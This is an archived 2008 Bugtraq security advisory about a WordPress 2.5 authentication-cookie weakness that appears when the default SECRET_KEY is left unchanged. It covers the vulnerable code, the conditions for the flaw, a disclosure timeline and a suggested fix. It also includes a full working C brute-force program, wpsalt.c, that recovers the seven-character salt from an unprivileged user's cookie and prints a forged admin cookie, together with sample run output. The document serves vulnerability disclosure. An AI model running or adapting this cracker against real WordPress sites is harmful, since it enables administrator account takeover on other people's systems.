lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4804F826.3070107@menteslibres.org>
Date: Tue, 15 Apr 2008 13:47:02 -0500
From: "J. Carlos Nieto" <xiam@...teslibres.org>
To: bugtraq@...urityfocus.com
Subject: WordPress 2.5 - Salt cracking vulnerability

WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
-------------------------------------------
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
                By J. Carlos Nieto <xiam@...teslibres.org> 
http://xiam.menteslibres.org

Severity
========
Medium. It affects only a determinate part of the WordPress users under
specific conditions.

Affected software
=================
WordPress 2.5

Vulnerability conditions
========================
After the initial WordPress instalation, the wp-config.php's SECRET_KEY 
must remain as te default value: 'put your unique phrase here' or be 
undefined, the default value remains untouched after installing via a 
browser.
When the WordPress package is unpacked and the victim is ready to 
install it, he will be asked to read the manual in order to create a 
wp-config.php file, or to change permissions for the installation 
directory to be writable. If he choose to change directory permissions, 
the installation will be completely via web and the SECRET_KEY will 
remain as the default value.
There exists some other conditions that let the user install WordPress 
without even knowing that he must change a SECRET_KEY in wp-config.php

1.- If the user attempts to install WordPress on Windows. Since Windows 
does not have a strong permissions check.
2.- If the user attempts to install WordPress under Apache + suexec. The 
files are not readable or writable for all other users, but writable for 
the user himself. Thus the installed won't ask you to read the manual.
3.- Some hosting companies have a one-click installer that does not 
setup a SECRET_KEY.
4.- You failed to read the whole installation manual.


Vulnerable scripts
==================
wp-include/pluggable.php
function wp_validate_auth_cookie($cookie) {
  ...
  // The cookie is not being validated.
  list($username, $expiration, $hmac) = explode('|', $cookie);
  ...
  // I could send 9999999999 as the second argument of the cookie to 
skip this condition.
  if ( $expired < time() )
    return false;
  ...
 
  // A mysterious hash is used here, the hash becomes a seven
  // character word generated by wp_generate_password()
  // (a.k.a. SECRET_SALT), note that wp_salt() sets
  // $secret_key to null if SECRET_KEY is equal to the default value.
.
  // The argument passed to wp_hash() in the next line is
  // completely poisonable.

  // To gain admin privileges I could use:
  // 'admin|9999999999|MISTERIOUSHASH' as my cookie.
  $key = wp_hash($username . $expiration);
  $hash = hash_hmac('md5', $username . $expiration, $key);
 
  // A weak check, I may provide a custom $hmac by knowing
  // the wp_salt()'s value.
  if ( $hmac != $hash )
    return false;
 
  // There is no password check, not even IP verification
  $user = get_userdatabylogin($username);
}
...
function wp_salt() {
  global $wp_default_secret_key;
  $secret_key = '';
    
  // If the key is null, not defined or has the default
  // value $secret_key remains null
  // if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( 
$wp_default_secret_key != SECRET_KEY) )
    $secret_key = SECRET_KEY;

  if ( defined('SECRET_SALT') ) {
    $salt = SECRET_SALT;
  } else {
    $salt = get_option('secret');
    if ( empty($salt) ) {
      $salt = wp_generate_password();
        update_option('secret', $salt);
      }
    }
    
  // $salt is a seven char long password. $secret_key is null.
  return apply_filters('salt', $secret_key . $salt);
}

The wp_salt()'s value is stored here:

mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
|        61 |       0 | secret      | eat5fsE      | yes      |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)

So if the attacker gets the value of that seven length string he can
craft a special cookie and gain access to ANY account he wants.

How can I know the value of wp_salt()?
--------------------------------------
I am thinking of two ways to get the value of the wp_salt():
1.- Gain access to the WP database by using a SQL injection (such as the
GBK encoding and addslashes() issue) on the WordPress core itself or on
a third party plugin (the latest is more likely to be possible). I din't
find any user-level SQL injection on the WP core.
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an 
offline attack using an specialized program.

Possible solution
=================
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to 
change the SECRET_KEY's value.
The SECRET_KEY should be changed automatically to something random.

Proof of concept
================
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack 
wp_salt()'s values using a legitimate cookie as an argument.

This is the output of my program cracking the wp_salt() based on a 
unprivileged user cookie:
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:

$ gcc -lcrypto -Wall -o wpsalt wpsalt.c
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE
=== Success! ===
* Key: eat5fsE
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442

=== Statistics ===
* Time taken: 31.240000 s
* Average speed: 308986.363636 w/s

The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]

The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long 
wp_password(). If we perform a linear attack, we would have to wait (in 
the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are 
lucky and we feed the program with a 31 long (a half of the total) 
character set that contains the seven magic letters, the attack can be 
reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if 
we are very lucky. The time of the attack is incremented exponentially 
with each extra character.

Vulnerability timeline
======================
Apr 12, 2008 - Vulnerability found.
Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.


Acknowledgments
===============
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to
report a WordPress security vulnerability and helped me to test the
severity of the issue.

Attachments
===========
--- begins wpsatl.c ---

/***
 *
 * Wordpress 2.5 cookie based salt cracker
 * by J. Carlos Nieto <xiam@...teslibres.org>
 * http://xiam.menteslibres.org
 *
 * Date:
 *    April 13, 2008
 *
 * Advisory:
 *    
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
 *
 * $ gcc -Wall -lcrypto -o wpsalt wpsalt.c
 * $ ./wpsalt
 *
 * */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <openssl/md5.h>
#include <time.h>

#define CHARSET 
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define KEY_LEN 7

#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')

void digest_to_string(unsigned char *, unsigned char *);
void print_digest(unsigned char *);
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);
void exit(int);
void help();
void wp_hash(char *, int, unsigned char *, int, unsigned char *);
void error(const char *);
void string_to_digest(const char *, unsigned char *);

void digest_to_string(unsigned char *digest, unsigned char *string) {
  int i;
  int s;

  for (i = 0; i < 16; i++) {
    s = digest[i]%16;
    string[i*2] = dechex((digest[i]-s)/16);
    string[i*2+1] = dechex(s);
  }

  string[32] = 0;
}

void print_digest(unsigned char *digest) {
  unsigned char string[32];
  digest_to_string(digest, string);
  printf("%s\n", string);
}

/* http://www.faqs.org/rfcs/rfc2104.html */
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int 
key_len, unsigned char *digest) {
  MD5_CTX context;
  unsigned char k_ipad[65];
  unsigned char k_opad[65];
  //unsigned char tk[16];
  int i;

  /*
  if (key_len > 64) {
    MD5_CTX      tctx;

    MD5_Init(&tctx);
    MD5_Update(&tctx, key, key_len);
    MD5_Final(tk, &tctx);

    key = tk;
    key_len = 16;
  }
  */

  bzero(k_ipad, 65);
  bzero(k_opad, 65);

  bcopy(key, k_ipad, key_len);
  bcopy(key, k_opad, key_len);

  for (i = 0; i < 64; i++) {
    k_ipad[i] ^= 0x36;
    k_opad[i] ^= 0x5c;
  }

  MD5_Init(&context);
  MD5_Update(&context, k_ipad, 64);
  MD5_Update(&context, text, text_len);
  MD5_Final(digest, &context);

  MD5_Init(&context);               
  MD5_Update(&context, k_opad, 64);
  MD5_Update(&context, digest, 16);
  MD5_Final(digest, &context);
}

void help() {
  printf("WordPress 2.5, cookie based salt cracker\n");
  printf("by xiam <xiam@...teslibres.org>\n");
  printf("============================================================\n");
  printf("Advisory: 
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n");
  printf("\n");
  printf("Usage:\n");
  printf("    ./wpsalt username timestamp hash [charset]\n");
  printf("\n");
  printf("Example:\n");
  printf("    Get a legitimate user cookie, it doesn't need to be from\n");
  printf("    a privileged user.\n");
  printf("    It should look like this:\n");
  printf("    admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");
  printf("    Run the program:\n");
  printf("        $ ./wpsalt admin 1208298864 \\\n");
  printf("          981a2a1363e9044a1181661b46777410\n");
  printf("    Now wait some months... or if you're feeling lucky, 
specify\n");
  printf("    a charset such as in the example below:\n");
  printf("        $ ./wpsalt admin 1208298864 \\\n");
  printf("          981a2a1363e9044a1181661b46777410 aef5Est\n");
  exit(0);
}


void wp_hash(char *data, int data_len, unsigned char *key, int key_len, 
unsigned char *digest) {
  unsigned char salt[16];
  unsigned char inter_key[32];
 
  hmac_md5((unsigned char *)data, data_len, key, key_len, salt);
 
  digest_to_string(salt, inter_key);
 
  hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);
}

void error(const char *s) {
  printf("E: %s\n", s);
  exit(0);
}

void string_to_digest(const char *string, unsigned char *digest) {
  int i;
  int c;

  if (strlen((char *)string) == 32) {
    for (i = 0; i < 16; i++) {
      c  = hexdec(string[2*i])*16;
      c += hexdec(string[2*i+1]);
      digest[i] = c;
    }
  } else {
    error("The hash must be a 32 chars string.");
  }
}

int main(int argc, char *argv[]) {

  unsigned char goal_digest[16];
  unsigned char key[KEY_LEN+1];
 
  char *data;
  char *charset;

  int map[KEY_LEN];
  int charset_len, data_len;

  unsigned long long int words;
  int i, j, carr, cont;
  clock_t time_start, time_end;
  double  total_time;
  unsigned char digest[16];
    
  data = NULL;
  charset = NULL;

  if (argc > 3) {

    string_to_digest(argv[3], goal_digest);

    data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) + 
strlen(argv[2]) + 1));
    strcat(data, argv[1]);
    strcat(data, argv[2]);

    if (argc > 4) {
      charset = argv[4];
    } else {
      charset = CHARSET;
    }
  } else {
    help();
  }

  data_len = strlen(data);

  charset_len = strlen(charset)-1;

  for (i = 0; i < KEY_LEN; i++) {
    map[i] = 0;
    key[i] = charset[0];
  }
  key[i] = '\0';

  map[0] = -1;
 
  time_start = clock();

  for (words = -1, cont = 1; cont; words++) {
    
    j = 0;

    map[j]++;

    if (map[j] > charset_len) {
      map[0] = 0;
      key[0] = charset[0];
      carr   = 1;
      j++;
      while (carr) {
        if (j < KEY_LEN) {
          map[j]++;
          if (map[j] > charset_len) {
            map[j] = 0;
          } else {
            carr = 0;
          }
          key[j] = charset[map[j]];
          j++;
        } else {
          cont = 0;
          carr = 0;
        }
      }
    } else {
      key[0] = charset[map[0]];
    }

    wp_hash(data, data_len, key, KEY_LEN, digest);

    if (memcmp(digest, goal_digest, 16) == 0) {
      printf("=== Success! ===\n");
      printf("* Key: %s\n", key);
      
      wp_hash("admin9999999999", 15, key, KEY_LEN, digest);

      printf("* Valid cookie: admin%%7C9999999999%%7C");
      print_digest(digest);
      cont = 0;
    }

  }

  time_end = clock();
  total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;
 
  printf("\n");
  printf("=== Statistics ===\n");
  printf("* Time taken: %f s\n", total_time);
  printf("* Average speed: %f w/s\n", words/total_time);

  return 0;
}
--- ends wpsalt.c ---

-- 
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ